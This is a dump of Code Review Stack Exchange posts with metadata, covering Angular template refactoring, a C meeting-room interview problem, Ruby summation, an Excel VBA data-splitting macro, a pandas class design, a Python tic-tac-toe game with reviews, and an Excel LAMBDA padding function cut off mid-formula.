} ]
{ "AcceptedAnswerId": "253593", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T11:06:15.907", "Id": "253534", "Score": "4", "Tags": [ "performance", "c", "signal-processing" ], "Title": "calculation code to prevent FIFO overflow during data streaming" }
253534
<p>So I'm pretty new to HTML/Angular and frontend tech in general. I'll include my code below, but as you'll see there's a LOT of commonality between the switch cases, what I'd like to try do is have this on as few lines as possible, the only difference really is the icons which display something different depending on the switch condition,</p> <pre><code> &lt;ng-container&gt; &lt;th mat-header-cell *matHeaderCellDef&gt; {{ header }} &lt;/th&gt; &lt;td mat-cell *matCellDef=&quot;let data&quot; class=&quot;text-nowrap text-truncate&quot;&gt; &lt;!-- Switch case for status of data --&gt; &lt;div [ngSwitch]=&quot;data.evaluation&quot;&gt; &lt;!-- Condition: High Data Potential --&gt; &lt;div *ngSwitchCase=&quot;'High Data Potential'&quot;&gt; &lt;span&gt; &lt;i class=&quot;fa fa-check-square&quot; aria-hidden=&quot;true&quot;&gt;&lt;/i&gt; {{ data.evaluation }} &lt;i class=&quot;fa fa-bar-chart&quot; aria-hidden=&quot;true&quot;&gt;&lt;/i&gt; &lt;/span&gt; &lt;/div&gt; &lt;!-- Condition: Low Data Potential --&gt; &lt;div *ngSwitchCase=&quot;'Low Data Potential'&quot; &gt; &lt;span&gt; &lt;i class=&quot;fa fa-minus-square&quot; aria-hidden=&quot;true&quot;&gt;&lt;/i&gt; {{ data.evaluation }} &lt;i class=&quot;fa fa-bar-chart&quot; aria-hidden=&quot;true&quot;&gt;&lt;/i&gt; &lt;/span&gt; &lt;/div&gt; &lt;!-- Condition: Test Data Mode --&gt; &lt;div *ngSwitchCase=&quot;'Test Data Mode'&quot;&gt; &lt;span&gt; &lt;i class=&quot;fa fa-line-chart&quot; aria-hidden=&quot;true&quot;&gt;&lt;/i&gt; {{ data.evaluation }} &lt;/span&gt; &lt;/div&gt; &lt;!-- Condition: Data Display Active --&gt; &lt;div *ngSwitchCase=&quot;'Data Display Active'&quot;&gt; &lt;span&gt; &lt;i class=&quot;fa fa-line-chart&quot; aria-hidden=&quot;true&quot;&gt;&lt;/i&gt; {{ data.evaluation }} &lt;/span&gt; &lt;/div&gt; &lt;!-- Condition: Data not Available --&gt; &lt;div *ngSwitchCase=&quot;'Data Not Available'&quot;&gt; &lt;span&gt; {{ data.evaluation }} &lt;i class=&quot;fa fa-question-circle&quot;&gt;&lt;/i&gt; &lt;/span&gt; &lt;/div&gt; &lt;!-- Condition: Data Failed --&gt; &lt;div *ngSwitchCase=&quot;'Data Failed'&quot;&gt; &lt;span&gt; {{ data.evaluation }} &lt;i class=&quot;fa fa-exclamation-circle&quot; aria-hidden=&quot;true&quot;&gt;&lt;/i&gt; &lt;/span&gt; &lt;/div&gt; &lt;!-- Condition: Default (-) --&gt; &lt;div *ngSwitchDefault&gt; - &lt;/div&gt; &lt;/div&gt; &lt;/td&gt; &lt;/ng-container&gt; </code></pre> <p>Is there a best practice I should be following here because I feel like this is a very cowboy way of doing it?</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T14:58:55.967", "Id": "499975", "Score": "0", "body": "Welcome to Code Review! The current question title, which states your concerns about the code, applies to too many questions on this site to be useful. The site standard is for the title to simply state the **task** accomplished by the code. Please see [ask] for examples, and revise the title accordingly." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-22T00:11:46.960", "Id": "500422", "Score": "0", "body": "I don't know angular very well, but if worst comes to worst, I know you can make a small helper component that contains this repeated logic, then just use that helper component in each switch case." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T12:07:52.237", "Id": "253535", "Score": "0", "Tags": [ "javascript", "html", "css", "typescript", "angular-2+" ], "Title": "Best practice for multiple conditional HTML options with similar code blocks" }
253535
<p>I have implemented a code to resolve following interview question. Please advice how it can be improved folks. Thanks in advance.</p> <blockquote> <p>Given an array of time intervals (start, end) for classroom lectures (possibly overlapping), find the minimum number of rooms required.</p> <p>For example, given [(30, 75), (0, 50), (60, 150)], you should return 2.</p> </blockquote> <p>I have just printed output value without proper self checking method due to my time limitation for this task. <code>coll_max</code>, <code>coll_min</code> are used to define time range of fully occupied rooms at each loop, thus requiring new room. Again, pardon my English here xD.</p> <p>Code:</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;limits.h&gt; int get_max(int arr[]) { if (!arr) return -1; if (arr[0] &gt; arr[1]) return arr[0]; else return arr[1]; } int get_min(int arr[]) { if (!arr) return -1; if (arr[0] &lt; arr[1]) return arr[0]; else return arr[1]; } unsigned int get_room_number(int arr[][2], unsigned int subjNo) { /* colliding range, each time class time collide with those values, we increase neccRoom counter */ int coll_max = INT_MAX; int coll_min = INT_MIN; int min; int max; unsigned int neccRoom = 0; //neccarry rooms for (int i = 0; i &lt; subjNo; i++) { min = get_min(arr[i]); max = get_max(arr[i]); if (min &lt; 0 || max &lt; 0) { return -1; } if (min &lt;= coll_max &amp;&amp; max &gt;= coll_min) { neccRoom++; if (min &gt; coll_min) { coll_max = min; } if (max &lt; coll_max) { coll_max = min; } } } return neccRoom; } int main(void) { int list[][2] = { { 30, 75 }, { 0, 50 }, { 60, 150 } }; int answer = get_room_number(list, 3); if (answer &gt; 0) printf(&quot;neccessary rooms: %u\n&quot;, answer); else printf(&quot;input array ERROR\n&quot;); } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T18:30:39.480", "Id": "500088", "Score": "2", "body": "Although this may work for 3 lectures, it does not handle the general case for `n` rooms to find an optimal minimum." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T12:26:08.103", "Id": "253536", "Score": "2", "Tags": [ "c", "interview-questions" ], "Title": "Find room required for lectures" }
253536
<p>Let's say I have this array.</p> <pre class="lang-rb prettyprint-override"><code>items = [ { amount: 100, add: true }, { amount: 50, add: false }, { amount: 100, add: true } ] </code></pre> <p>What I want to do is add the amount if <code>add</code> is <code>true</code> and subtract it if <code>add</code> is <code>false</code>.</p> <p>This code uses an extra <code>total</code> variable.</p> <pre class="lang-rb prettyprint-override"><code>total = 0 items.each do |item| if item[:add] total += item[:amount] else total -= item[:amount] end end </code></pre> <p>A one-liner code.</p> <pre class="lang-rb prettyprint-override"><code>items.sum { |item| item[:add] ? item[:amount] : -item[:amount] } </code></pre> <p>I wonder if there is a better implementation for this problem. Is the one-liner readable enough?</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T23:18:11.850", "Id": "500019", "Score": "4", "body": "The one-line solution looks readable enough to me. A shorter version could be using keyword arguments: `items.sum { |add:, amount:| add ? amount : -amount }`" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T02:25:52.473", "Id": "500026", "Score": "0", "body": "@AlterLagos I have been doing that with JavaScript. I don't know you can do that in Ruby. I can use that knowledge more in the future. Thanks." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T13:37:41.350", "Id": "253537", "Score": "1", "Tags": [ "ruby" ], "Title": "Addition/subtraction of Ruby arrays" }
253537
<p>I have built some code that should parse the data according to a unique value and then create a new Worksheet for each unique value. My initial table has 10 Columns and around 25K rows. The code works well for up to ca. 8500 rows. Above, I get the error message</p> <p>not enough memory, etc...</p> <p>Excel 64bits can not be installed on our work machines... Any ideas for a workaround? I just need this code to run in less than 3 hours and it will be a big win! Thanks!</p> <pre><code>Sub Split_data() Dim lr As Long Dim ws As Worksheet Dim vcol, i As Integer Dim icol As Long Dim myarr As Variant Dim title As String Dim titlerow As Integer Dim OutPut As Integer 'This macro splits data into multiple worksheets based on the variables on a column found in Excel. 'An InputBox asks you which columns you'd like to filter by, and it just creates these worksheets. Application.ScreenUpdating = False vcol = Application.InputBox(prompt:=&quot;Which column would you like to filter by?&quot;, title:=&quot;Filter column&quot;, Default:=&quot;10&quot;, Type:=1) Set ws = Worksheets(&quot;Import&quot;) 'change worhseet name when necessary lr = ws.Cells(ws.Rows.Count, vcol).End(xlUp).Row title = &quot;A1:J14&quot; titlerow = ws.Range(title).Cells(1).Row icol = ws.Columns.Count ws.Cells(1, icol) = &quot;Unique&quot; For i = 3 To lr On Error Resume Next If ws.Cells(i, vcol) &lt;&gt; &quot;&quot; And Application.WorksheetFunction.Match(ws.Cells(i, vcol), ws.Columns(icol), 0) = 0 Then ws.Cells(ws.Rows.Count, icol).End(xlUp).Offset(1) = ws.Cells(i, vcol) End If Next Application.ScreenUpdating = False myarr = Application.WorksheetFunction.Transpose(ws.Columns(icol).SpecialCells(xlCellTypeConstants)) ws.Columns(icol).Clear For i = 3 To UBound(myarr) ws.Range(title).AutoFilter field:=vcol, Criteria1:=myarr(i) &amp; &quot;&quot; If Not Evaluate(&quot;=ISREF('&quot; &amp; myarr(i) &amp; &quot;'!A1)&quot;) Then Sheets.Add(after:=Worksheets(Worksheets.Count)).Name = myarr(i) &amp; &quot;&quot; Else Sheets(myarr(i) &amp; &quot;&quot;).Move after:=Worksheets(Worksheets.Count) End If ws.Range(&quot;A&quot; &amp; titlerow &amp; &quot;:A&quot; &amp; lr).EntireRow.Copy Sheets(myarr(i) &amp; &quot;&quot;).Range(&quot;A1&quot;) Sheets(myarr(i) &amp; &quot;&quot;).Columns.AutoFit Next ws.AutoFilterMode = False ws.Activate Sheets(&quot;Instructions&quot;).Select OutPut = MsgBox(&quot;Data successfully parsed&quot;, vbInformation, &quot;Confirmation&quot;) End Sub </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T21:34:48.723", "Id": "500006", "Score": "0", "body": "Posted an answer to your original question - https://stackoverflow.com/questions/65322665/performance-issue-not-enough-memory-macro-vba-excel-parsing-data/65330446#65330446" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T21:41:27.323", "Id": "500009", "Score": "0", "body": "What version of Office do you have? Is your OS 64-bit? https://docs.microsoft.com/en-us/office/troubleshoot/excel/laa-capability-change" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T21:41:43.173", "Id": "500010", "Score": "0", "body": "Also read this: https://docs.microsoft.com/en-us/office/troubleshoot/excel/memory-usage-32-bit-edition-of-excel" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-01-18T14:56:04.723", "Id": "502746", "Score": "0", "body": "The current question title, which states your concerns about the code, applies to too many questions on this site to be useful. The site standard is for the title to **simply state the task accomplished by the code**. Please see [**How do I ask a good question?**](https://CodeReview.StackExchange.com/help/how-to-ask)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-01-18T13:52:52.070", "Id": "502754", "Score": "0", "body": "Issue solved, moved to 64-bits" } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T16:17:05.733", "Id": "253540", "Score": "0", "Tags": [ "vba", "excel", "time-limit-exceeded", "memory-management" ], "Title": "Performance issue “not enough memory” Macro vba Excel - Parsing data" }
253540
<p><strong>Context</strong></p> <p>I am building an algorithm that automatically assigns a planning to drivers. However there is a lot of pre-processing and reused outputs. I try to structure it in a maintainable way.</p> <p><strong>Questions</strong></p> <p>I created a class <code>Availability</code> that represents the number of hours each driver has each day. There is a base planning, but for some use cases, additional (sometimes compute intensive) processing needs to be done.</p> <p>The solution I came up (simplified version of code below) initializes the class with all the necessary data in the constructor, but with a default of <code>None</code> for the optional data (in this example: <code>preplanned</code> and <code>holidays</code>). That way if I'm in a simple case, I can just call the class without the optional data.</p> <p>My questions are:</p> <ul> <li>Is this ok? Or should I get them out of the constructor and place them as method arguments (ie: <code>get_availability_without_preplanned(preplanned)</code> and <code>get_availability_fully_processed(preplanned, holidays)</code>)</li> <li>Are there other improvements?</li> </ul> <p>Some reasons behind my logic:</p> <ul> <li>The actual code base will be much larger and some <code>get_xxx()</code> could be chained and cached</li> <li>Initializing everything in the constructor ensures for example <code>preplanned</code> is always the same for an instance, and not modified for each method call</li> </ul> <p><strong>code</strong></p> <pre><code>from typing import List import pandas as pd import numpy as np class Availability: &quot;&quot;&quot; Class representing the hours available per day for each driver &quot;&quot;&quot; def __init__( self, raw_availability: pd.DataFrame, preplanned: pd.DataFrame = None, holidays: List = None, ) -&gt; None: self.columns = [&quot;date&quot;, &quot;driver_id&quot;, &quot;availability&quot;] self.base_availability = self.clean_raw_data(raw_availability) # Optional self.preplanned = preplanned self.holidays = holidays def clean_raw_data(self, raw_availability: pd.DataFrame) -&gt; pd.DataFrame: &quot;&quot;&quot; Format to a basic format &quot;&quot;&quot; base_availability = raw_availability.loc[:, self.columns] base_availability[&quot;availability&quot;] = base_availability[&quot;availability&quot;].astype(float) return base_availability def get_availability_without_preplanned(self) -&gt; pd.DataFrame: &quot;&quot;&quot; Base availability per driver, dedecuted with preplanned hours &quot;&quot;&quot; availability_without_preplanned = self.deduct_preplanned(self.base_availability) return availability_without_preplanned def get_availability_fully_processed(self) -&gt; pd.DataFrame: &quot;&quot;&quot; Availability per driver, with all preprocessing &quot;&quot;&quot; availability_without_preplanned = self.get_availability_without_preplanned() availability_fully_processed = self.set_availability_to_zero_on_holidays( availability_without_preplanned ) return availability_fully_processed def deduct_preplanned(self, availability: pd.DataFrame) -&gt; pd.DataFrame: &quot;&quot;&quot; Deduct preplanned hours from the availability of the drivers This is an example, but imagine this would be compute intensive &quot;&quot;&quot; if self.preplanned is None: raise TypeError(&quot;No preplanned hours passed in class constructor&quot;) aggregated_preplanned = ( self.preplanned.groupby([&quot;date&quot;, &quot;driver_id&quot;]) .agg({&quot;hours&quot;: &quot;sum&quot;}) .reset_index() .rename(columns={&quot;hours&quot;: &quot;hours_to_deduct&quot;}) ).astype(float) preplanned_deducted_availability = pd.merge( how=&quot;left&quot;, left=availability, right=aggregated_preplanned, left_on=[&quot;date&quot;, &quot;driver_id&quot;], right_on=[&quot;date&quot;, &quot;driver_id&quot;], ).fillna(0) preplanned_deducted_availability[&quot;availability&quot;] = ( preplanned_deducted_availability[&quot;availability&quot;] - preplanned_deducted_availability[&quot;hours_to_deduct&quot;] ) preplanned_deducted_availability = preplanned_deducted_availability.loc[:, self.columns] return preplanned_deducted_availability def set_availability_to_zero_on_holidays(self, availability: pd.DataFrame) -&gt; pd.DataFrame: &quot;&quot;&quot; Deduct preplanned from the availability of the drivers This is an example, but imagine this would be compute intensive &quot;&quot;&quot; availability[&quot;availability&quot;] = np.where( availability[&quot;date&quot;].isin(self.holidays), 0, availability[&quot;availability&quot;] ) return availability if __name__ == &quot;__main__&quot;: # Mockup data raw_availability = pd.DataFrame( {&quot;date&quot;: [20201224, 20201225], &quot;driver_id&quot;: [1, 1], &quot;availability&quot;: [8, 8]} ) preplanned = pd.DataFrame({&quot;date&quot;: [20201224], &quot;driver_id&quot;: [1], &quot;hours&quot;: [2]}) holidays = [20201225, 20211225] # Complex case: everyting is defined availability1 = Availability( raw_availability=raw_availability, preplanned=preplanned, holidays=holidays ) print(availability1.base_availability) print(availability1.get_availability_without_preplanned()) print(availability1.get_availability_fully_processed()) # Simple case: optional arguments preplanned and holidays are left out availability2 = Availability(raw_availability=raw_availability) print(availability1.base_availability) <span class="math-container">```</span> </code></pre>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T17:00:42.383", "Id": "253542", "Score": "2", "Tags": [ "python-3.x", "object-oriented", "design-patterns" ], "Title": "Python - preprocessing dataframes data in a class" }
253542
<p>I created a console-based TicTacToe game in Python. So far, everything works as expected. I decided to keep the class static, because I figured there would be no use for multiple game states at once. Is there anything I can improve on?</p> <pre><code>class TicTacToe: &quot;&quot;&quot;Plays a 2-player TicTacToe Game.&quot;&quot;&quot; __curr_player = False # simple bool player switch __game_matrix = [ # representation of game state [0, 0, 0], [0, 0, 0], [0, 0, 0], ] @classmethod def play(cls): &quot;&quot;&quot;Play a single round.&quot;&quot;&quot; while not cls.__game_finished(): # set current player player = 2 if cls.__curr_player else 1 # get player move while 1: try: print(f&quot;Player {player}'s turn.&quot;) x = int(input(&quot;X: &quot;)) y = int(input(&quot;Y: &quot;)) if cls.__is_valid_field(x, y): break else: print(&quot;Invalid field.&quot;) except ValueError: print(&quot;Invalid Input.&quot;) cls.__update(x, y, player) print(&quot;Current game state: &quot;) cls.__display() # change player cls.__curr_player = not cls.__curr_player print(&quot;Game finished: &quot;) cls.__display() # reset state cls.__reset() @classmethod def __game_finished(cls): &quot;&quot;&quot;Returns True if one player has won or all fields are filled.&quot;&quot;&quot; # all filled? if all([value for line in cls.__game_matrix for value in line]): return True # horizontal win? if any(all([x == line[0] and x for x in line]) for line in cls.__game_matrix): return True # vertical win? if any(all([line[column] == cls.__game_matrix[0][column] and line[column] for line in cls.__game_matrix]) for column in range(3)): return True # diagonal win? if (cls.__game_matrix[0][0] == cls.__game_matrix[1][1] == cls.__game_matrix[2][2] != 0) or \ (cls.__game_matrix[0][2] == cls.__game_matrix[1][1] == cls.__game_matrix[2][0] != 0): return True return False @classmethod def __is_valid_field(cls, x, y): &quot;&quot;&quot;Checks if field is already filled or out of range.&quot;&quot;&quot; if x &gt; 3 or x &lt; 1 or y &gt; 3 or y &lt; 1: return False return not cls.__game_matrix[y - 1][x - 1] @classmethod def __update(cls, x, y, player): &quot;&quot;&quot;Update game state.&quot;&quot;&quot; cls.__game_matrix[y - 1][x - 1] = player @classmethod def __display(cls): &quot;&quot;&quot;Displays current game state.&quot;&quot;&quot; for line in cls.__game_matrix: print(line) @classmethod def __reset(cls): &quot;&quot;&quot;Reset game state.&quot;&quot;&quot; cls.__curr_player = False cls.__game_matrix = [ [0, 0, 0], [0, 0, 0], [0, 0, 0], ] def main(): TicTacToe.play() if __name__ == &quot;__main__&quot;: main() </code></pre>
[]
[ { "body": "<ol>\n<li>When i started the game, i found it pretty confusing as to what what coordinates should we input. I added an instructions method:</li>\n</ol>\n<pre class=\"lang-py prettyprint-override\"><code> @classmethod\n def __instructions(cls):\n print(\n 'Welcome to TicTacToe\\n'\n 'Here is the board:\\n'\n )\n cls.__display()\n print(\n 'The coordinates start at top left\\n'\n '(1, 1) (2, 1) (3, 1)\\n'\n '(1, 2) (2, 2) (3, 2)\\n'\n '(1, 3) (2, 3) (3, 3)\\n'\n )\n</code></pre>\n<ol start=\"2\">\n<li>I found having 0, 1, 2 on the board is pretty confusing. I replaced empty cells with a symbol, in this case -</li>\n</ol>\n<pre class=\"lang-py prettyprint-override\"><code> @classmethod\n def __display(cls):\n &quot;&quot;&quot;Displays current game state.&quot;&quot;&quot;\n for line in cls.__game_matrix:\n symbols = []\n for elem in line:\n if elem == 0:\n symbols.append('-')\n else:\n symbols.append(str(elem))\n print(' '.join(symbols))\n</code></pre>\n<ol start=\"3\">\n<li><p>I rearraged private methods before</p>\n</li>\n<li><p>I added a win annoncement to know who won:</p>\n</li>\n</ol>\n<p><code>print(&quot;Game finished: Player {} won!&quot;.format(player))</code></p>\n<ol start=\"5\">\n<li>If you used a normal class you would not have needed</li>\n</ol>\n<pre class=\"lang-py prettyprint-override\"><code>@classmethod\ndef __game_finished(cls):\n</code></pre>\n<p>but would have used the normal</p>\n<pre class=\"lang-py prettyprint-override\"><code>def __game_finished(self):\n</code></pre>\n<p>less writing</p>\n<hr />\n<p>Here is my code:</p>\n<pre class=\"lang-py prettyprint-override\"><code>class TicTacToe:\n &quot;&quot;&quot;Plays a 2-player TicTacToe Game.&quot;&quot;&quot;\n\n __curr_player = False # simple bool player switch\n __game_matrix = [ # representation of game state\n [0, 0, 0],\n [0, 0, 0],\n [0, 0, 0],\n ]\n\n @classmethod\n def __game_finished(cls):\n &quot;&quot;&quot;Returns True if one player has won or all fields are filled.&quot;&quot;&quot;\n # all filled?\n if all([value for line in cls.__game_matrix for value in line]):\n return True\n # horizontal win?\n if any(all([x == line[0] and x for x in line]) for line in cls.__game_matrix):\n return True\n # vertical win?\n if any(all([line[column] == cls.__game_matrix[0][column] and line[column] for line in cls.__game_matrix]) for column in range(3)):\n return True\n # diagonal win?\n if (cls.__game_matrix[0][0] == cls.__game_matrix[1][1] == cls.__game_matrix[2][2] != 0) or \\\n (cls.__game_matrix[0][2] == cls.__game_matrix[1][1] == cls.__game_matrix[2][0] != 0):\n return True\n return False\n\n @classmethod\n def __is_valid_field(cls, x, y):\n &quot;&quot;&quot;Checks if field is already filled or out of range.&quot;&quot;&quot;\n if x &gt; 3 or x &lt; 1 or y &gt; 3 or y &lt; 1:\n return False\n return not cls.__game_matrix[y - 1][x - 1]\n\n @classmethod\n def __update(cls, x, y, player):\n &quot;&quot;&quot;Update game state.&quot;&quot;&quot;\n cls.__game_matrix[y - 1][x - 1] = player\n\n @classmethod\n def __display(cls):\n &quot;&quot;&quot;Displays current game state.&quot;&quot;&quot;\n for line in cls.__game_matrix:\n symbols = []\n for elem in line:\n if elem == 0:\n symbols.append('-')\n else:\n symbols.append(str(elem))\n print(' '.join(symbols))\n\n @classmethod\n def __reset(cls):\n &quot;&quot;&quot;Reset game state.&quot;&quot;&quot;\n cls.__curr_player = False\n cls.__game_matrix = [\n ['-', '-', '-'],\n ['-', '-', '-'],\n ['-', '-', '-'],\n ]\n\n @classmethod\n def __instructions(cls):\n print(\n 'Welcome to TicTacToe\\n'\n 'Here is the board:\\n'\n )\n cls.__display()\n print(\n 'The coordinates start at top left\\n'\n '(1, 1) (2, 1) (3, 1)\\n'\n '(1, 2) (2, 2) (3, 2)\\n'\n '(1, 3) (2, 3) (3, 3)\\n'\n )\n\n @classmethod\n def play(cls):\n cls.__instructions()\n &quot;&quot;&quot;Play a single round.&quot;&quot;&quot;\n while not cls.__game_finished():\n\n # set current player\n player = 2 if cls.__curr_player else 1\n\n # get player move\n while 1:\n try:\n print(f&quot;Player {player}'s turn.&quot;)\n x = int(input(&quot;X: &quot;))\n y = int(input(&quot;Y: &quot;))\n if cls.__is_valid_field(x, y):\n break\n else:\n print(&quot;Invalid field.&quot;)\n except ValueError:\n print(&quot;Invalid Input.&quot;)\n\n cls.__update(x, y, player)\n print(&quot;Current game state: &quot;)\n cls.__display()\n\n # change player\n cls.__curr_player = not cls.__curr_player\n\n print(&quot;Game finished: Player {} won!&quot;.format(player))\n cls.__display()\n\n # reset state\n cls.__reset()\n\n \n\n\ndef main():\n TicTacToe.play()\n\n\nif __name__ == &quot;__main__&quot;:\n main()\n</code></pre>\n<p>The code was well commented, broken down, easy to follow and clean!</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T14:39:34.970", "Id": "500145", "Score": "0", "body": "What do you mean by a \"_normal class_\"?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T15:23:43.063", "Id": "500154", "Score": "0", "body": "@GrajdeanuAlex. I think he is talking about a \"non-all-static\" class." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T16:28:25.003", "Id": "500163", "Score": "0", "body": "Yes a normal tictactoe = TicTacToe()" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-21T07:29:34.233", "Id": "500326", "Score": "1", "body": "@Abdur-RahmaanJanhangeer The word you're looking for is \"non-static\", not \"normal\"" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-23T17:29:29.933", "Id": "500545", "Score": "1", "body": "Indeed; you should follow your own recommendation and convert all of those class methods to instance methods in your suggested code." } ], "meta_data": { "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T12:20:52.037", "Id": "253614", "ParentId": "253548", "Score": "2" } }, { "body": "<ul>\n<li>Consider representing the matrix not as integers, but as references to players</li>\n<li>Consider representing players as an <code>Enum</code>, and putting some string utilities such as symbol text in there</li>\n<li>The standard way of showing this game's grid is as &quot;X&quot; and &quot;O&quot; characters</li>\n<li>Drop the <code>reset</code> method, and certainly drop the mandatory call to <code>reset</code> at the end of <code>play</code>. If you really need a fresh game, make a new instance.</li>\n<li>Convert this from a class of static methods - which might as well be a module with global functions - into an actual class whose instance is meaningful</li>\n<li>Do not use double-underscores the way you are; this is reserved for name mangling - and anyway, there's not much of a point in attempting to make private members in Python. If you insist on private members, use a single underscore.</li>\n<li>You're missing logic to show a stalemate.</li>\n<li>Consider pre-calculating a sequence of line coordinates to simplify your end-condition check code.</li>\n</ul>\n<p>Also, this is somewhat dangerous:</p>\n<pre><code>cls.__game_matrix[1][1] == cls.__game_matrix[2][2] != 0\n</code></pre>\n<p>It does do what you intended, which is an implied</p>\n<pre><code>cls.__game_matrix[1][1] == cls.__game_matrix[2][2] and\ncls.__game_matrix[2][2] != 0\n</code></pre>\n<p>However, given that <code>False == 0</code> in Python, this risks being difficult-to-interpret by programmers that might fear that this evaluates to</p>\n<pre><code>(cls.__game_matrix[1][1] == cls.__game_matrix[2][2]) is not False\n</code></pre>\n<p>even though it doesn't. Better to be explicit.</p>\n<h2>Suggested</h2>\n<pre><code>from dataclasses import dataclass\nfrom enum import Enum\nfrom typing import Optional, Tuple, List\n\nN = 3\n\n\nclass Player(Enum):\n ONE = False\n TWO = True\n\n def __str__(self):\n return 'two' if self.value else 'one'\n\n @staticmethod\n def symbol(player: Optional['Player']) -&gt; str:\n if player is None:\n return ' '\n return 'X' if player.value else 'O'\n\n @property\n def other(self) -&gt; 'Player':\n return Player(not self.value)\n\n\n@dataclass\nclass Coord:\n x: int\n y: int\n\n @property\n def is_valid(self) -&gt; bool:\n return 0 &lt;= self.x &lt; N and 0 &lt;= self.y &lt; N\n\n @classmethod\n def from_stdin(cls) -&gt; 'Coord':\n while True:\n try:\n coord = cls(int(input('X: ')) - 1, int(input('Y: ')) - 1)\n if coord.is_valid:\n return coord\n except ValueError:\n pass\n\n print('Invalid input.')\n\n\nclass TicTacToe:\n &quot;&quot;&quot;Plays a 2-player TicTacToe Game.&quot;&quot;&quot;\n\n def __init__(self):\n self.curr_player = Player.ONE\n self.matrix: List[List[Optional[Player]]] = [\n [None]*N for _ in range(N)\n ]\n self.line_coords = self.make_lines()\n\n @staticmethod\n def make_lines() -&gt; Tuple[List[Coord]]:\n return (\n *( # Horizontal\n [Coord(x, y) for x in range(N)]\n for y in range(N)\n ),\n *( # Vertical\n [Coord(x, y) for y in range(N)]\n for x in range(N)\n ),\n # First diag\n [Coord(y, y) for y in range(N)],\n # Second diag\n [Coord(x, N - x - 1) for x in range(N)],\n )\n\n def play(self):\n &quot;&quot;&quot;Play a single round.&quot;&quot;&quot;\n while True:\n print(f&quot;Player {self.curr_player}'s turn.&quot;)\n\n # get player move\n while True:\n coord = Coord.from_stdin()\n if self.matrix[coord.y][coord.x] is None:\n break\n print('That cell is already taken.')\n\n self.update(coord)\n print('Current game state:')\n self.display()\n\n is_finished, winner = self.get_winner()\n if is_finished:\n break\n\n # change player\n self.curr_player = self.curr_player.other\n\n winner_text = 'stalemate' if winner is None else f'player {winner} won'\n print(f'Game finished; {winner_text}:')\n self.display()\n\n def get_winner(self) -&gt; Tuple[bool, Optional[Player]]:\n &quot;&quot;&quot;Returns whether the game is done, and the winner.&quot;&quot;&quot;\n\n for line in self.line_coords:\n first = self.matrix[line[0].y][line[0].x]\n if first is not None:\n others = {\n self.matrix[coord.y][coord.x] for coord in line[1:]\n }\n if others == {first}:\n return True, first\n\n return all(\n all(cell is not None for cell in line) for line in self.matrix\n ), None\n\n def update(self, coord: Coord):\n &quot;&quot;&quot;Update game state.&quot;&quot;&quot;\n self.matrix[coord.y][coord.x] = self.curr_player\n\n def display(self):\n &quot;&quot;&quot;Displays current game state.&quot;&quot;&quot;\n for line in self.matrix:\n print(' '.join(Player.symbol(cell) for cell in line))\n\n\ndef main():\n TicTacToe().play()\n\n\nif __name__ == &quot;__main__&quot;:\n main()\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-23T20:19:30.927", "Id": "253844", "ParentId": "253548", "Score": "2" } } ]
{ "AcceptedAnswerId": "253844", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T19:16:00.707", "Id": "253548", "Score": "4", "Tags": [ "python", "python-3.x", "console", "tic-tac-toe" ], "Title": "Console-based TicTacToe game in Python" }
253548
<p>I have created a named function with signature <code>PadInternal(base, width, paddingStr)</code> where:</p> <ul> <li><code>base</code> is a string you want to add padding to</li> <li><code>width</code> is the length of the individual chunks</li> <li><code>paddingStr</code> is the string to pad with</li> </ul> <p>called from a cell like: <a href="https://i.stack.imgur.com/rcbE6.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/rcbE6.png" alt="Calling from cell" /></a></p> <pre class="lang-swift prettyprint-override"><code>PadInternal(&quot;Hello&quot;, 1, &quot; &quot;) = &quot;H e l l o&quot; PadInternal(&quot;World&quot;, 3, &quot;**&quot;) = &quot;Wor**ld&quot; </code></pre> <p>And here's the function:</p> <div class="s-table-container"> <table class="s-table"> <thead> <tr> <th>Tag</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td><strong>Name</strong></td> <td><code>PadInternal</code></td> </tr> <tr> <td><strong>Scope</strong></td> <td><code>Workbook</code></td> </tr> <tr> <td><strong>Comment</strong></td> <td><code>base : a string you want to add padding to | width : the length of the individual chunks | paddingStr : the string to pad with</code></td> </tr> <tr> <td><strong>Refers To</strong></td> <td><code>=LAMBDA(base,width,paddingStr, IF(LEN(base)&lt;=width, base, LET(LHS, LEFT(base, width), RHS, RIGHT(base, LEN(base) - width), LHS &amp; paddingStr &amp; 